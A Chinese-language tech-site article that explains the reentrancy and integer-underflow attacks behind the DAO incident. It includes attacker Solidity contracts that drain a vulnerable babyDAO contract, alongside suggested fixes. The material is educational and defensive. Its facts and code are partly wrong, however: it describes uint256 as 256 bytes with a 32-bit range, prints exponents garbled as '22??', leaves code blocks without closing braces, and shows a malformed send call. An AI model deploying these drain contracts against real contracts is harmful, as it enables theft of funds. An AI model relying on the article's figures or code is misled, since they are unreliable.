0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

动不动就出事,智能合约攻击该怎么办

电子设计 来源:电子设计 作者:电子设计 2020-12-25 19:00 次阅读

如果你在数字货币世界待过足够时间,也许你听说过1或2个智能合约攻击时间,这些攻击导致了几千万美元的盗窃损失。最著名的攻击是DAO事件,这是数字货币世界最受期待的项目之一,同时也是智能合约的改革。虽然很多人听说过这些攻击,但是很少人知道到底发生了什么,是怎么发生的,以及如何避免这些错误。

智能合约是动态的,复杂的以及难以置信地强大。虽然他们的潜力是很难想象,但是也不可能一夜之间就成为了攻击的对象。也就是说,对于往后的数字货币,我们可以从之前的错误中学到经验,然后一起成长。虽然DAO是已经发生的事情,但是这对于开发者,投资者,以及社区成员对于智能合约攻击来说,都是一个很好的例子。

今天,我想和大家聊聊从DAO事件中,我们学到的3件事。

攻击#1:重入攻击

当攻击者通过对目标调用提款操作的时候,重入攻击就会发生,就好像DAO事件一样。当合约不能在发出资金之前更新状态(用户余额),攻击者就可以连续进行提取函数调用,来获得合约中的资金。任何时候攻击者获得以太币,他的合约都会自动地调用反馈函数,function (),这就再次调用了提现合约。这时候,攻击就会进入递归回路,这时候这个合约中的资金就会转入攻击者。因为目标合约都在不停地调用攻击者的函数,这个合约也不会更新攻击者的余额。当前的合约不会发现有任何问题,更清楚地说,合约函数中包含反馈函数,当合约收到以太币和零数据的时候,合约函数就会自动执行。

攻击流程

1.攻击者将以太币存入目标函数

2.目标函数就会根据存入的以太币而更新攻击者的约

3.攻击者请求拿回资金

4.资金就会退回

5.攻击者的反馈函数生效,然后调用提现功能

6.智能合约的逻辑就会更新攻击者的余额,因为提现又被成功调用

7.资金发送到攻击者

8.第5-7步重复使用

9.一旦攻击结束,攻击者就会把资金从他们自己的合约发送到个人地址

1*UeDgMZo2n0skHzgkl352zQ

重入攻击的递归回路

很不幸地是,一旦这个攻击开始,无法停下。攻击者的提现功能会被一次次地调用,直到合约中的燃料跑完,或者被害者的以太币余额被消耗光。

代码

下面就是DAO合约的简单版本,其中会包括一些介绍来为这些不熟悉代码/ solidity语言更好地理解合约。

contract babyDAO {

/* assign key/value pair so we can look up

credit integers with an ETH address */

mapping (address => uint256) public credit;

/* a function for funds to be added to the contract,

sender will be credited amount sent */

function donate(address to) payable {

credit[msg.sender] += msg.value;

/*show ether credited to address*/

function assignedCredit(address) returns (uint) {

return credit[msg.sender];

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] >= amount) {

msg.sender.call.value(amount)();

credit[msg.sender] -= amount;

如果我们看下函数withdraw(),我们可以看到DAO合约使用address.call.value()来发送资金到msg.sender。不仅如此,在资金发出后,合约会更新credit[msg.sender]的状态。攻击者在发现了合约代码中的问题,就能够使用类似下面的ThisIsAHodlUp {}来将资金转入contract babyDAO{}合约。

import ‘browser/babyDAO.sol’;

contract ThisIsAHodlUp {

/* assign babyDAO contract as "dao" */

babyDAO public dao = babyDAO(0x2ae...);

address owner;

/*assign contract creator as owner*/

constructor(ThisIsAHodlUp) public {

owner = msg.sender;

/*fallback function, withdraws funds from babyDAO*/

function() public {

dao.withdraw(dao.assignedCredit(this));

/*send drained funds to attacker’s address*/

function drainFunds() payable public{

owner.transfer(address(this).balance);

需要注意地是,这个后退函数,function(),会调用DAO或者babyDAO{}的提现函数,来从合约中盗取资金。从另个方面来说,当攻击者想要把所有偷窃来的资金赚到他们的地址,drainFunds()功能会被调用。

解决方案

现在,我们应该清楚重放攻击会利用两个特别的智能合约漏洞。第一个是当合约的状态在资金发出之后,而不是之前进行更新。由于在发出资金前无法更新合约状态,函数就会在中间计算的时候被打断,合约也认为资金其实还没有发出。第二个漏洞就当合约错误地使用address.call.value()来发出资金,而不是address.transfer() 或者 address.send()。这两个都受限于2300gas,只记录一个事件而不是多个外部调用。

contract babyDAO{

....

function withdraw(uint amount) {

if (credit[msg.sender] >= amount) {

credit[msg.sender] -= amount; /* updates balance first */

msg.sender.send(amount)(); /* send funds properly */

攻击2:下溢攻击

虽然DAO合约不会让受害者掉入下溢攻击,我们能够通过现有的babyDAO contract{}来更好地理解这些攻击为什么会发生。

首先,我们需要理解什么是256单位制。一个256单位制是由256个字节组成。以太坊的虚拟机是使用256字节来完成的。因为以太坊虚拟机受限于256字节的大小,所以数字的范围是0到4,294,967,295 (22??)。如果我们超过这个范围,那么数字就会重置到范围的最底部(22?? + 1 = 0)。如果我们低于这个范围,这个数字就会重置到这个范围的顶端(0–1= 22??)。

当我们从零中减去大于零的数,就会发生下溢攻击,导致一个新的22??数集。现在,如果攻击者的余额发生了下溢,那么这部分余额就会更新,从而导致整个资金被盗。

攻击流程

攻击者通过发出1Wei到目标合约,来启动攻击。

合约认证发出资金的人

随后调用1Wei的提现函数

合约会从发送者的账户扣除的1Wei,现在账户余额又是零

因为目标合约将以太币发给攻击者,攻击者的退回函数被处罚,所以提现函数又被调用。

提现1Wei的事件被记录

攻击者合约的余额就会更新两次,第一次是到零,第二次是到-1。

攻击者的余额回置到22??

攻击者通过提现目标合约的所有资金,从而完成整个攻击

代码

/*donate 1 wei, withdraw 1 wei*/

function attack() {

dao.donate.value(1)(this);

dao.withdraw(1);

/*fallback function, results in 0–1 = 2**256 */

function() {

if (performAttack) {

performAttack = false;

dao.withdraw(1);

/*extract balance from smart contract*/

function getJackpot() {

dao.withdraw(dao.balance);

owner.send(this.balance);

解决方案

为了防止受害人陷入下溢攻击,最好的方法是看更新的状态是否在字节范围内。我们可以添加参数来检查我们的代码,作为最后一层保护。函数withdraw()的首行代码是为了检查是否有足够的资金,第二行是为了检查超溢,第三个是检查下溢。

contract babysDAO{

....

/*withdrawal ether from contract*/

function withdraw(uint amount) {

if (credit[msg.sender] >= amount

&& credit[msg.sender] + amount >= credit[msg.sender]

&& credit[msg.sender] - amount <= credit[msg.sender]) {

credit[msg.sender] -= amount;

msg.sender.send(amount)();

需要注意,就像我们之前讨论,我们上面的代码是在发出资金之前更新用户的余额。

审核编辑:符乾江
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 代码
    +关注

    关注

    30

    文章

    4741

    浏览量

    68326
  • 智能计算
    +关注

    关注

    0

    文章

    175

    浏览量

    16453
收藏 人收藏

    评论

    相关推荐

    盛显科技:投影融合处理器连接出现超时,怎么办?

    了连接尝试的失败。这样的情形无疑会给我们的使用带来诸多不便与困扰。那么您知道投影融合处理器连接出现超时,怎么办吗?下面盛显科技小编为您介绍: 投影融合处理器连接出现超时,可采取以下处理措施: 1、检查网络连接
    的头像 发表于 11-06 10:58 118次阅读
    盛显科技:投影融合处理器连接出现超时,<b class='flag-5'>该</b><b class='flag-5'>怎么办</b>?

    盛显科技:投影融合处理器兼容性出现问题,怎么办?

    ,解决这些兼容性问题显得尤为重要。那么您知道投影融合处理器兼容性出现问题,怎么办吗?下面盛显科技小编为您介绍: 当投影融合处理器出现兼容性问题时,可以采取以下措施来解决: 一、检查与确认 (1)确认设备兼容性: 需要确
    的头像 发表于 10-16 12:11 160次阅读
    盛显科技:投影融合处理器兼容性出现问题,<b class='flag-5'>该</b><b class='flag-5'>怎么办</b>?

    ddos造成服务器瘫痪后怎么办

    在服务器遭受DDoS攻击后,应立即采取相应措施,包括加强服务器安全、使用CDN和DDoS防御服务来减轻攻击的影响。rak小编为您整理发布ddos造成服务器瘫痪后怎么办
    的头像 发表于 08-15 10:08 245次阅读

    盛显科技:投影融合处理器画面出现闪烁或抖动,怎么办?

    采取一系列专业而周密的处理措施来解决问题。那么您知道投影融合处理器画面出现闪烁或抖动,怎么办吗?下面盛显科技科技小编为您介绍: 投影融合处理器画面出现闪烁或抖动,可采取以下措施进行处理: 一、检查电源与连接
    的头像 发表于 08-14 17:00 332次阅读
    盛显科技:投影融合处理器画面出现闪烁或抖动,<b class='flag-5'>该</b><b class='flag-5'>怎么办</b>?

    盛显科技:投影融合处理器出现颜色失真或偏色,怎么办

    我们在使用投影融合处理器的过程中,因种种原因,有时候会遇到出现颜色失真或偏色的情况。此种情况的出现,会对视觉效果、信息传递和设备性能产生负面影响。因此,需要我们及时采取措施解决问题,以确保投影设备的正常运行和良好的展示效果表现。那么您知道投影融合处理器出现颜色失真或偏色,怎么办
    的头像 发表于 07-31 17:09 234次阅读
    盛显科技:投影融合处理器出现颜色失真或偏色,<b class='flag-5'>该</b><b class='flag-5'>怎么办</b>?

    大电流一体成型电感有噪音怎么办

    电子发烧友网站提供《大电流一体成型电感有噪音怎么办.docx》资料免费下载
    发表于 07-30 12:30 0次下载

    工控主板发生故障怎么办

    工控主板发生故障怎么办?前几天有个客户问了我这个问题,大部分情况下出现的故障并不可怕,主要是用户粗心大意造成的。那今天小编就来讲解一下工控主板一般会出现故障的主要原因及判断方法:
    的头像 发表于 04-11 18:19 836次阅读

    电容负极熔断怎么办

    在现代科技发展的时代,电容器在各个领域都扮演着重要的角色。然而,由于各种原因,电容器的负极可能会发生熔断的情况。那么,当电容器的负极熔断时,我们应该怎么办呢?
    的头像 发表于 04-10 14:15 465次阅读
    电容负极熔断<b class='flag-5'>怎么办</b>

    UCB states切为CONFIRMATION状态后,UCB区域就不能被擦写了怎么办

    芯片手册中UCB states有四个状态UNLOCKED, CONFIRMATION, ERASED, ERRORED。我发现切为CONFIRMATION状态后,UCB区域就不能被擦写了,这怎么办
    发表于 02-01 08:15

    修复辊压机轴承位磨损怎么办

    电子发烧友网站提供《修复辊压机轴承位磨损怎么办.docx》资料免费下载
    发表于 01-23 09:52 0次下载

    笔记本搜索不到Wi-Fi 6信号怎么办

    有用户反馈,为什么家里手机可以搜索到Wi-Fi 6信号,但笔记本却搜不到此信号,怎么办呢?小编给您支招!
    的头像 发表于 01-09 18:19 1.7w次阅读
    笔记本搜索不到Wi-Fi 6信号<b class='flag-5'>怎么办</b>?

    风机轴磨损怎么办

    电子发烧友网站提供《风机轴磨损怎么办.docx》资料免费下载
    发表于 01-07 11:04 0次下载

    4260纸机烘缸轴磨损怎么办

    电子发烧友网站提供《4260纸机烘缸轴磨损怎么办.docx》资料免费下载
    发表于 12-18 10:38 0次下载

    过孔为什么不能打焊盘上?我就想打,怎么办

    过孔为什么不能打焊盘上?我就想打,怎么办
    的头像 发表于 12-15 10:47 3689次阅读
    过孔为什么不能打焊盘上?我就想打,<b class='flag-5'>怎么办</b>?

    连接相机丢包怎么办?如何设置网卡属性?

    连接相机丢包怎么办?如何设置网卡属性?
    的头像 发表于 12-12 16:26 633次阅读
    连接相机丢包<b class='flag-5'>怎么办</b>?如何设置网卡属性?